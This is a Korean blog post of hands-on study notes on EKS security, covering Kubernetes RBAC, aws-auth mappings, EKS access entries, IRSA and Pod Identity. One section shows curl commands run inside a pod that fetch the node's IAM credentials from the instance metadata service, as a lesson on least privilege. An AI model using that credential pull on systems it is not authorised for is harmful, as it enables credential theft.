본문 바로가기
  • 1+1=3
개발삽질/잡다한 개발기록

[EKS 스터디-6] EKS Security

by 여스 2024. 4. 13.
반응형

K8S 인증/인가

- 네임스페이스를 생성하고, 각각 서비스 어카운트를 생성한다.

# 네임스페이스(Namespace, NS) 생성 및 확인
kubectl create namespace dev-team
kubectl create ns infra-team

# 네임스페이스 확인
kubectl get ns

# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team

# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh

kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh

 

각 네임스페이스에 파드생성.

namespace와 spec.serviceAccountName으로 서비스어카운트를 설정해준 것이 보인다.

# 각각 네임스피이스에 kubectl 파드 생성 - 컨테이너이미지
# docker run --rm --name kubectl -v /path/to/your/kube/config:/.kube/config bitnami/kubectl:latest
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: dev-kubectl
  namespace: dev-team
spec:
  serviceAccountName: dev-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: infra-kubectl
  namespace: infra-team
spec:
  serviceAccountName: infra-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

 

 

서비스 어카운트 정보(토큰)을 볼 수도 있다.

 

즉, 아래 그림의 구조에 대입해보면, 서비스 어카운트를 이루는 Secret의 token을 본것이다.

 

권한 테스트를 해보기 위해, 파드에 들어가서 kubectl 명령어를 날려보자.(해당 파드에 kubectl 이 설치되어있어 가능함)

 

 

롤 바인딩

위처럼 권한이 없는 것을 가능하게 해보자.

 

- 각각 네임스페이스의 모든 권한에 대한 롤 생성.

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-dev-team
  namespace: dev-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-infra-team
  namespace: infra-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

롤이 생성되었음. 해당 네임스페이스에서 모든 리소스에 대한 권한이 가능함.

 

- 롤바인딩 생성.

서비스어카운트와 롤을 연결해준다.

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-dev-team
  namespace: dev-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-dev-team
subjects:
- kind: ServiceAccount
  name: dev-k8s
  namespace: dev-team
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-infra-team
  namespace: infra-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-infra-team
subjects:
- kind: ServiceAccount
  name: infra-k8s
  namespace: infra-team
EOF

 

확인해보면 dev-k8s라는 서비스 어카운트는 role-dev-team이란 롤에 바인딩이 되었다.

 

다시 이제 롤바인딩 하기 전에 실행했던 명령어를 테스트해보면 된다!

 

다른 네임스페이스에 대한 권한은 롤에 없으므로 접근이 되지 않는것도 확인이 된다.

기본적으로 롤은 네임스페이스 내에서 동작함. 네임스페이스를 넘어가려면 클러스터 롤을 생성해야 함.

 

EKS 인증/인가

eks에서의 kube/config는 온프레미스의 것과는 좀 다르다.

 

cat .kube/config

온프레미스에서는 원래는 아래처럼 user에 그냥 인증서정보가 있지만,

eks에서는 그런정보가 없다.

 

RBAC 관련 krew 플러그인 사용

# 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum whoami

# k8s 인증된 주체 확인
kubectl whoami

이러면 kubectl을 사용하는 aws iam이 주체로 나온다.

 

아래처럼 많은 롤들을 정리해서 보여주는 화면도 제공해준다.

# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view
INFO[0000] Getting K8s client
INFO[0000] serving RBAC View and http://localhost:8800

## 이후 해당 작업용PC 공인 IP:8800 웹 접속 : 최초 접속 후 정보 가져오는데 다시 시간 걸림 (2~3분 정도 후 화면 출력됨) 
echo -e "RBAC View Web http://$(curl -s ipinfo.io/ip):8800"

 

인증인가 분석

아래 강의를 11분 9초 이후부터 보기를 추천한다.

https://youtu.be/bksogA-WXv8?t=669

 

사용자가 api 서버로 요청을 하면, api 서버는 webhook token authentication을 활용하여 aws iam으로 해당 정보가 맞는지 확인하고, 그 후 configmap의 정보를 확인하여 인증을 한다.

그리고 나서 쿠버네티스에서 롤을 보고 인가를 확인한다.

 

아래 내용은 이전 스터디분께서 정리해주신 내용인데 매우 잘 정리해주셨다.(https://devlos.tistory.com/75) 존경...

 

 

핵심은 인증은 AWS IAM, 인가는 K8S RBAC에서 처리한다는 점이다.

순서1. 토큰요청

# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn

 

cat ~/.kube/config | yh

user쪽을 보면, eks get-token..이렇게 써있다.

 

get-token 명령어는 EKS 클러스터의 인증을 위한 토큰을 가져온다.

 

다음처럼 받아와진다.

aws eks get-token --cluster-name $CLUSTER_NAME | jq

 

위 토큰이 바로, kubectl 명령어를 날리면 처음으로 진행되는 요 단계이다. 이 토큰을 받아와서 인증을 진행하는것이다.

 

순서2. 토큰 전송

인증해달라고 요청하는 엔드포인트는 클러스터 엔드포인트인데, 그곳은 kube/config에 표시되어있다.

 아래 콘솔에서도 확인 가능하다.

 

순서3. Webhook token authenticator가 요청받아 인증

# tokenreviews api 리소스 확인 
kubectl api-resources | grep authentication

토큰리뷰스라는 애가 있다.

얘가 뭔지 확인해보면, 토큰을 인증하는 녀석이라고 설명되어있다.

 

그래서 위 authenticator가 AWS IAM에 전달받은 토큰 검사를 요청하고 결과를 받아온다.

클라우드트레일 기록을 보면 manager 에 대한 정보를 가져온게 보인다.

 

이렇게 iam에 있는 사용자인지 확인이 된다.

순서4. 이제 쿠버네티스에서 RBAC 인가를 처리한다.

먼저, configmap에 원래는 mapRoles외에도 mapUsers가 있었는데 최근버전부터는 보이지 않는다 한다. (configmap 수정시 접근이 안되는 문제가 발생될 수 있어서 수정된 듯함). 아무튼 보이지 않지만 실제로는 있다고 생각해야 함.

 

암튼 위와 같은 방식으로 IAM의 유저정보와 매칭되는 k8s의 configmap을 확인한다.

 

그리고, IAM User/Role 확인이 되면 k8s aws-auth configmap에서 mapping 정보를 확인하게 된다.

aws-auth 컨피그맵에 'IAM 사용자, 역할 arm, K8S 오브젝트' 로 권한 확인 후 k8s 인가 허가가 되면 최종적으로 동작 실행을 한다.

 

- k8s에서는 인가를 위해 아래와 같은 정보를 사용한다.

 

 

데브옵스 신입 사원을 위한 myeks-bastion-2에 설정 해보기

1. [myeks-bastion] testuser 사용자 생성

# testuser 사용자 생성
aws iam create-user --user-name testuser

# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser

# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser

# get-caller-identity 확인
aws sts get-caller-identity --query Arn

 

2. [myeks-bastion-2] testuser 자격증명 설정 및 확인

# testuser 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2F...
AWS Secret Access Key [None]: ePpXdhA3cP....

# get-caller-identity 확인
aws sts get-caller-identity --query Arn

새로 만든 testuser의 iam정보가 확인된다.

 

 

근데 

kubectl get node -v6

를 하면 

실패가 된다.  

이유는 .kube 디렉토리에 configmap이 없기 때문이다.

자 그럼 configmap을 만들어주자.

 

3. [myeks-bastion] testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한 설정

현재 iam mapping을 봐보면,

eksctl get iamidentitymapping --cluster $CLUSTER_NAME

아래처럼 testuser관련 매핑이 없는데

매핑을 생성해주면

eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser

확인이 된다.

컨피그맵에도 mapUsersr가 추가되었다!

이 행위를 한 주체는 webhook이 해준건데, 이 ValidationWebhook이 자동으로 create iamidentitymapping시 동작하여 컨피그맵을 UPDATE를 해준다.

 

4.[myeks-bastion-2] testuser kubeconfig 생성 및 kubectl 사용 확인

컨피그맵에 mapUser를 추가해줬으니, bastion2에 configmap을 추가해주자.

aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser

생성 후 아까 안되었던 get node가 동작한다.

 

명령어 사용하는 주체도 확인해보면

kubectl krew install rbac-tool && kubectl rbac-tool whoami

Groups에 system:masters가 보인다.

 

 

즉 위 내용은 전체 단계 중 아래에서 configmap정보와 iam user가 대응되는지 확인하는 단계에 사용되는 것이다.

 

5. [myeks-bastion] 진짜인지 확인해보자.configmap에서 

 

->

그리고 iammapping을 확인해보면 system:authenticated로 바뀌었다.

 

6. [myeks-bastion-2] testuser kubectl 사용 확인

bastion2에서 testuser가 kubectl 명령어가 되는지 확인해보자.

바꾸기 전엔 되던 명령이 이젠 되지 않는다.

 

근데  kubectl api-resources -v5 명령어는 된다. 이는 system:authenticated 그룹에 포함된 명령어이기 때문이다.

 

7. [myeks-bastion]에서 testuser IAM 맵핑 삭제

매핑을 삭제하면

configmap에서 mapUser가 사라진다.

 

8. [myeks-bastion-2] testuser kubectl 사용 확인

아까는 되던 

kubectl api-resources -v5

가 이젠 되지 않는다. 말했듯이 저건 system:authenticated덕분에 된것이었다.

 

 

참고로, CloudTrail보면 서로 다른 user의 정보를 확인한 것이 보인다.

 

 

단점

위와 같은 설정들은 단점이 있다.

configmap에서 mapRole이나 mapUser를 하나 삭제하는 순간 심각한 장애로 다가온다.

 

이를 극복하기 위해 EKS access management controls가 등장하였다.

 

 

 

EC2 Instance Profile(IAM Role)에 맵핑된 k8s rbac 확인 해보기

# 노드에 STS ARN 정보 확인 : Role 뒤에 인스턴스 ID!
for node in $N1 $N2 $N3; do ssh ec2-user@$node aws sts get-caller-identity --query Arn; done

 

이는 ec2에 연결된 iam role과 instance id를 이은 것이다.

 

당연히 얘네도 동작하려면 인증이 필요하니 configmap에 mapRole로 등록되어있다.

다시한번 매핑정보를 보면

저 iam role을 사용하는 애들은 system:nodes 권한을 사용할 수 있다는 내용이다.

 

- 테스트해보자.

awscli를 사용할 수 있는 파드를 하나 생성하고,

# awscli 파드 생성
cat <<EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: awscli-pod
spec:
  replicas: 2
  selector:
    matchLabels:
      app: awscli-pod
  template:
    metadata:
      labels:
        app: awscli-pod
    spec:
      containers:
      - name: awscli-pod
        image: amazon/aws-cli
        command: ["tail"]
        args: ["-f", "/dev/null"]
      terminationGracePeriodSeconds: 0
EOF

 

# 파드 이름 변수 지정
APODNAME1=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[0].metadata.name})
APODNAME2=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[1].metadata.name})
echo $APODNAME1, $APODNAME2

# awscli 파드에서 EC2 InstanceProfile(IAM Role)을 사용하여 AWS 서비스 정보 확인 
kubectl exec -it $APODNAME2 -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager

워커노드에 접속하여 aws cli를 날리면 동작이 된다! 즉 연결된 iam role이 동작하는 것이다.

 

토큰을 활용하여

IDMSv2를 사용할 수도 있는데

아래부터는 파드에 bash shell 에서 실행
curl -s http://169.254.169.254/ -v
...

# Token 요청 
curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ; echo
curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ; echo

# Token을 이용한 IMDSv2 사용
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
echo $TOKEN
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/ ; echo
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/latest/ ; echo
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/ ; echo

 

위 정보를 사용해 아래처럼 요청하면

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/토큰값

iam  크레덴셜정보가 나온다!

 

 

EKS access management controls

인증은 AWS에서, 인가는 K8S에서 나뉘어 하던 방식을 단순화하기 위해 나왔다고 한다.

이미 eks 생성시 기본으로 설정이 되어있는데, 아래 콘솔위치에서 Confgmap뿐 아니라 EKS API를 통해서도 access를 할 수 있도록 한다는 설정이 기본으로 선택되어있다.

 

아까 이전에 configmap에 보면 system:master가 보이지 않았음에도 동작이 되었다. 이는 EKS API덕분이었다.

정책 중복 시 EKS API 우선되며 ConfigMap은 무시된다.

 

아래에 user/manger가 접근할수 있다고 설정이 되어있기 때문에 접근이 되었다는 말이다. 기본적으로 EKS 클러스터를 생성한 주체는 자동으로 아래처럼 접근할 수있는 대상에 추가가 된다.

기본정보확인

# EKS API 액세스모드로 변경
aws eks update-cluster-config --name $CLUSTER_NAME --access-config authenticationMode=API

모드가 EKS API 온리로 바뀌었다.

 

 

참고로 access policy는 기본적으로 아래처럼 제공되어진다.

https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html#access-policy-permissions

# List all access policies : 클러스터 액세스 관리를 위해 지원되는 액세스 정책
## AmazonEKSClusterAdminPolicy – 클러스터 관리자
## AmazonEKSAdminPolicy – 관리자
## AmazonEKSEditPolicy – 편집
## AmazonEKSViewPolicy – 보기
aws eks list-access-policies | jq

 

 

참고로 내 계정인 manager는 AdminPolicy가 설정되어있다.

 

aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq

 

aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/manager | jq

 

아래 내용에 대한 정보를 cli로 확인해볼 수 있다.

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/manager | jq

 

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::447556242609:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-jdNw8Z4BoXDH |jq

 

testuser에 권한 설정해주기

아까 tesuser의 configmap 권한을 뺐고, 심지어 eks 설정에서 configmap을 활용한 접근을 차단했기에 현재 testuser는 인증을 받을 수 없는 상태이다.

 

이제 EKS API를 사용하여 인증할 수 있도록 해주자.

# testuser 의 access entry 생성
aws eks create-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser

# testuser에 AmazonEKSClusterAdminPolicy 연동
aws eks associate-access-policy --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster

이럼 끝이다! 매우 간단하다..

 

확인해보면

aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq
aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq

생성되었고

콘솔에서도 정보가 잘 나온다.

 

- [myeks-bastion-2]에서 testuser로 확인

실제로 잘 되는지 확인해보자.

# testuser 정보 확인
aws sts get-caller-identity --query Arn
kubectl whoami

정보가 잘 가져와진다.

 

kubectl도 해보면,

아래 명령어들이 모두 잘 동작한다.

# kubectl 시도
kubectl get node -v6
kubectl api-resources -v5
kubectl rbac-tool whoami
kubectl auth can-i delete pods --all-namespaces

 

그리고 이젠 더이상 configmap과 iamidentitymapping이 필요없어졌으므로 아래정보도 보이지 않는다.

kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

커스톰 role로 access entry설정하기

이제 위에서 말한 4가지 기본제공 롤 말고 새로운 롤을 생성해서 적용해보자.

 

- 기존 testuser의 access entry를 제거

# 기존 testuser access entry 제거
aws eks delete-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq -r .accessEntries[]

잘 삭제되었고 콘솔에서도 안보인다.

 

 

- 클러스터 롤 생성하기.

하나는 list, get, watch만 하고, 다른 하나는 모든 동작을 한다.

#
cat <<EoF> ~/pod-viewer-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-viewer-role
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["list", "get", "watch"]
EoF

cat <<EoF> ~/pod-admin-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-admin-role
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["*"]
EoF

kubectl apply -f ~/pod-viewer-role.yaml
kubectl apply -f ~/pod-admin-role.yaml

 

 

- 롤바인딩

방금 생성한 pod-viewer-role는 pod-viewer 그룹에, pod-admin-role은 pod-admin 그룹에 바인딩한다.

kubectl create clusterrolebinding viewer-role-binding --clusterrole=pod-viewer-role --group=pod-viewer
kubectl create clusterrolebinding admin-role-binding --clusterrole=pod-admin-role --group=pod-admin

 

 

- access-entry 생성

testuser의 iam에 대해 access entry를 생성하는데, 이때 group으로는 pod-viewer로 설정한다. 따라서 위에서 롤바인딩할때 설정한 group으로 연결이 된다.

aws eks create-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser --kubernetes-group pod-viewer

생성되었다!

aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq

잘보면 kubernetesGroups에 pod-viewer가 설정되었음이 확인된다! 이거덕분에 내가 만든 클러스터롤 바인딩이 적용되는것이다.

 

 

이제 testuser가 있는 bastion2에서 다시 확인해보자.

아까 실패했던 kubectl 명령이 먹힌다.

 

그러나 생성한 권한 이외의 행위는 금지됨이 확인된다.

 

왜냐면 아까 클러스터롤 생성시 준 권한 중에 delete가 없었기 때문임.

 

 

여기서 group을 pod-view -> pod-admin으로 업데이트를 해보면

aws eks update-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser --kubernetes-group pod-admin | jq -r .accessEntry

pod-view에서 pod-admin으로 바뀜!

 

아까 no였던 권한이 yes가 되었다.

kubectl auth can-i delete pods --all-namespaces

 

EKS IRSA & Pod Identity

위에서 살펴본 EC2 Instance Profile은 사용하긴 편하지만, 최소 권한 부여 원칙에 위배하며 보안상 권고하지 않음.

왜냐면 아래처럼 iam이 부여되면, 노드 안에 있는 모든 파드들이 해당 권한을 모두 행사할 수 있기 때문임. 

 

파드 별로 최소권한을 줘야 하는데 이를 구현하기 위해 IRSA를 사용할 수 있다.

동작과정은 다음과 같다.

k8s파드 → AWS 서비스 사용 시 ⇒ AWS STS/IAM ↔ IAM OIDC Identity Provider(EKS IdP) 인증/인가

 

사전지식: Projected volume

'서비스 계정 토큰'의 시크릿 기반 볼륨 대신 'projected volume' 사용하는 기법인데, 기존의 토큰의 단점(대상과 유효기간 설정)을 해결하기 위함이다.

프로젝티드 볼륨은 세 가지로 구성된다.

  1. kube-apiserver로부터 TokenRequest API를 통해 얻은 서비스어카운트토큰(ServiceAccountToken). 서비스어카운트토큰은 기본적으로 1시간 뒤에, 또는 파드가 삭제될 때 만료된다. 서비스어카운트토큰은 파드에 연결되며 kube-apiserver를 위해 존재한다.
  2. kube-apiserver에 대한 연결을 확인하는 데 사용되는 CA 번들을 포함하는 컨피그맵(ConfigMap).
  3. 파드의 네임스페이스를 참조하는 DownwardA

실습)

# Create the Secrets:
## Create files containing the username and password:
echo -n "admin" > ./username.txt
echo -n "1f2d1e2e67df" > ./password.txt

## Package these files into secrets:
kubectl create secret generic user --from-file=./username.txt
kubectl create secret generic pass --from-file=./password.txt

# 파드 생성
kubectl apply -f https://k8s.io/examples/pods/storage/projected.yaml

# 파드 확인
kubectl get pod test-projected-volume -o yaml | kubectl neat | yh

 

# 시크릿 확인
kubectl exec -it test-projected-volume -- ls /projected-volume/

kubectl exec -it test-projected-volume -- cat /projected-volume/username.txt ;echo

kubectl exec -it test-projected-volume -- cat /projected-volume/password.txt ;echo

즉 시크릿값들을 파드가 안전하게 사용하도록 하는 기법이라고 이해하면 된다.

 

IRSA

파드가 특정 IAM 역할로 Assume 할때 토큰을 AWS에 전송하고, AWS는 토큰과 EKS IdP를 통해 해당 IAM 역할을 사용할 수 있는지 검증하기 위한 것이다.

(https://youtu.be/wgH9xL_48vM?t=1163)

 

동작과정 구성도는 아래와 같다.

 

 실습1: 서비스어카운트 토큰 없는 파드

파드가 구동되면서 aws 접근을 하는데 권한에 따른 성공/실패를 봐보자.

# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test1
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      args: ['s3', 'ls']
  restartPolicy: Never
  automountServiceAccountToken: false
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod

별도의 service account를 만들지 않아 service account가 defalut로 나오고

automountServiceAccountToken: false 설정으로 토큰을 만들지 않는다.

 

그리고 args에 s3 ls를 자동으로 실행하라고 되어있어서 로그를 보면 

권한이 없어 실패되었다고 나온다.

 

실제로 클라우드트레일을 보면 기록이 보인다.

엑세스 디나이 기록도 보인다.

 

 

실습2: 

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test2
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

해당 파드는 projected volume을 사용함을 알 수 있다.

시크릿 정보들이 파드 내부 경로에서 잘 보인다.

서비스어카운트 토큰을 jwt웹사이트에서 디코드해보면 아래처럼 OAuth2에서 쓰이는 aud, exp 속성정보가 보인다.

여기서 보이는 iss 속성 : EKS OpenID Connect Provider(EKS IdP) 주소 > 이 EKS IdP를 통해 쿠버네티스가 발급한 토큰이 유요한지 검증한다.

 

 

 

역시 얘도 aws에 접근을 실패했다.

 

실습3: IRSA 활용

여기서 말하는 OIDC는 콘솔에서 보이는데

최초 eks 생성 시 설정한 아래 withOIDC true로 인해 생성되는 것이다.

 

 

쿠버네티스 서비스어카운트와 aws iam을 매핑해주는 iamserviceaccount를 생성한다. 이 iamserviceaccount가 irsa이다.

# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create iamserviceaccount \
  --name my-sa \
  --namespace default \
  --cluster $CLUSTER_NAME \
  --approve \
  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)

생성하면 클라우드포메이션 스택이 생성되는데, 이때 iam role이 생성된다.

그리고 서비스 어카운트를 잘 보면

kubectl describe sa my-sa

annotation 여기엔 방금 클라우드포메이션으로 생성된 연결할 role 정보가 연결되었다.

 

 

즉 eksctl create iamserviceaccount 명령어 하나로 role을 생성하고, iamserviceaccount가 생성되고, serviceaccount가 생기고, 이 serviceaccount에 role이 연결되었다.

 

그럼 이제 파드가 저 serviceaccount를 사용하면 aws자원에 접근이 될까?

# 파드3번 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test3
spec:
  serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

 

난 위 명령어만으로 파드를 생성했을 뿐인데, 아래처럼 확인을 해보니 내용이 더 추가되어있다.

kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh

env, serviceaccountToken, volumeMounts 등등,,,

 

바로 mutatingwebhookconfigurations이 파드가 생성될 때 추가한 것이다. 아래 보면 규칙에 CREATE pods일 때라는 규칙이 보인다.

역시 볼륨마운트된 경로에 서비스어카운트 토큰이 있고

 

파드를 describe하면 토큰의 위치를 알려주는 env와 projected volume정보들이 나온다.

kubectl describe pod eks-iam-test3

 

 

그럼 파드가 aws에 접근이 되는지 보면, s3관련명령어는 나오는데

ec2는 안먹는다. 

그 이유는 아까 위에서 아래명령어 실행시 s3권한 팔러시만 있는 롤을 생성하도록 했기 때문이다.

# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create iamserviceaccount \
  --name my-sa \
  --namespace default \
  --cluster $CLUSTER_NAME \
  --approve \
  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)

 

클라우드 트레일에 보면 my-sa가 접근한 기록이 보인다.

 

 

취약점

만약 연결된 role의 Condition이 지금은 저렇게 딱 지정이 되어있지만, * 로 되거나 제한조건이 없다면, 서비스어카운트의 토큰을 가지고서 이 iam에 assume role 요청하면 사용할 수 있게 된다.

 

이를 방어하기 위해서는 condition을 매우 잘 관리해야하는데 이게 쉽지 않아서, 이를 보완하기 위해 Pod Identity가 등장했다.

EKS Pod Identity

add-on만 추가해주면 사용할 수 있도록 매우 간단해졌다.

 

실습!

- eks-pod-identity-agent 설치

ADDON=eks-pod-identity-agent
aws eks describe-addon-versions \
    --addon-name $ADDON \
    --kubernetes-version 1.28 \
    --query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
    --output text
    
    
    aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name eks-pod-identity-agent

Amazon EKS Pod Identity Agent가 생성중이다

# 확인
eksctl get addon --cluster $CLUSTER_NAME
kubectl -n kube-system get daemonset eks-pod-identity-agent
kubectl -n kube-system get pods -l app.kubernetes.io/name=eks-pod-identity-agent

 

kubectl get ds -n kube-system eks-pod-identity-agent -o yaml | kubectl neat | yh

 

근데 데몬셋 정보를 보면 아래와 같은 특징이 보이고, 특히 hostNetwork를 사용한다는 것을 알 수 있다.

...
      containers: 
      - args: 
        - --port
        - "80"
        - --cluster-name
        - myeks
        - --probe-port
        - "2703"
        command: 
        - /go-runner
        - /eks-pod-identity-agent
        - server
      ....
      ports: 
        - containerPort: 80
          name: proxy
          protocol: TCP
        - containerPort: 2703
          name: probes-port
          protocol: TCP
      ...
        securityContext: 
          capabilities: 
            add: 
            - CAP_NET_BIND_SERVICE
      ...
      hostNetwork: true
...

for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ss -tnlp | grep eks-pod-identit; echo "-----";done

for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c route; done

for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c -br -4 addr; done

for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c addr; done

즉 169.254.170.23 이 바로 노드이 로컬 어드레스이다.

아래 그림에서 파드가 eks-pod-identity-agent로 요청을 보낼 때 쓰는 ip인 것이다.

아래는 파드의 컨테이너가 데몬셋인 pod identity agent 통해 인증을 받는다는 그림이다.

즉 파드가 인증이 필요하다면 노드의 데몬셋 ip를 이용해 확인하면 되는 단순한 구조로 바뀌었다.

참고로 이게 가능해지려면 worker node의 role에 아래처럼 "eks-auth:AssumeRoleForPodIdentity"가 추가되어야 한다.

 

이제 테스트해보자.

eksctl create podidentityassociation \
--cluster $CLUSTER_NAME \
--namespace default \
--service-account-name s3-sa \
--role-name s3-eks-pod-identity-role \
--permission-policy-arns arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess \
--region $AWS_REGION

 

위 명령으로 클라우드포메이션 스택으로 role이 생성되었고, 기존 irsa 와는 다르게 설정이 되어있다.

 

이제 권한이 어떻게 연관되었는지 보면

eksctl get podidentityassociation --cluster $CLUSTER_NAME

s3-sa라는 service account가 s3-eks-pod-identity-role과 매핑이 되었다!라는 게 끝임.

즉, s3-sa를 사용하는 파드는 저 role을 사용할 수 있게 되는 것임.

 

 

그리고 eks 콘솔에 보면 파드 아이덴티티가 추가되었다.

 

사실 콘솔에서 그냥 생성해도 된다.

 

잘 되는지 확인해보면

# 서비스어카운트, 파드 생성
kubectl create sa s3-sa

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-pod-identity
spec:
  serviceAccountName: s3-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

#
kubectl get pod eks-pod-identity -o yaml | kubectl neat| yh
kubectl exec -it eks-pod-identity -- aws sts get-caller-identity --query Arn
kubectl exec -it eks-pod-identity -- aws s3 ls
kubectl exec -it eks-pod-identity -- env | grep AWS
WS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
AWS_STS_REGIONAL_ENDPOINTS=regional
AWS_DEFAULT_REGION=ap-northeast-2
AWS_REGION=ap-northeast-2

# 토큰 정보 확인
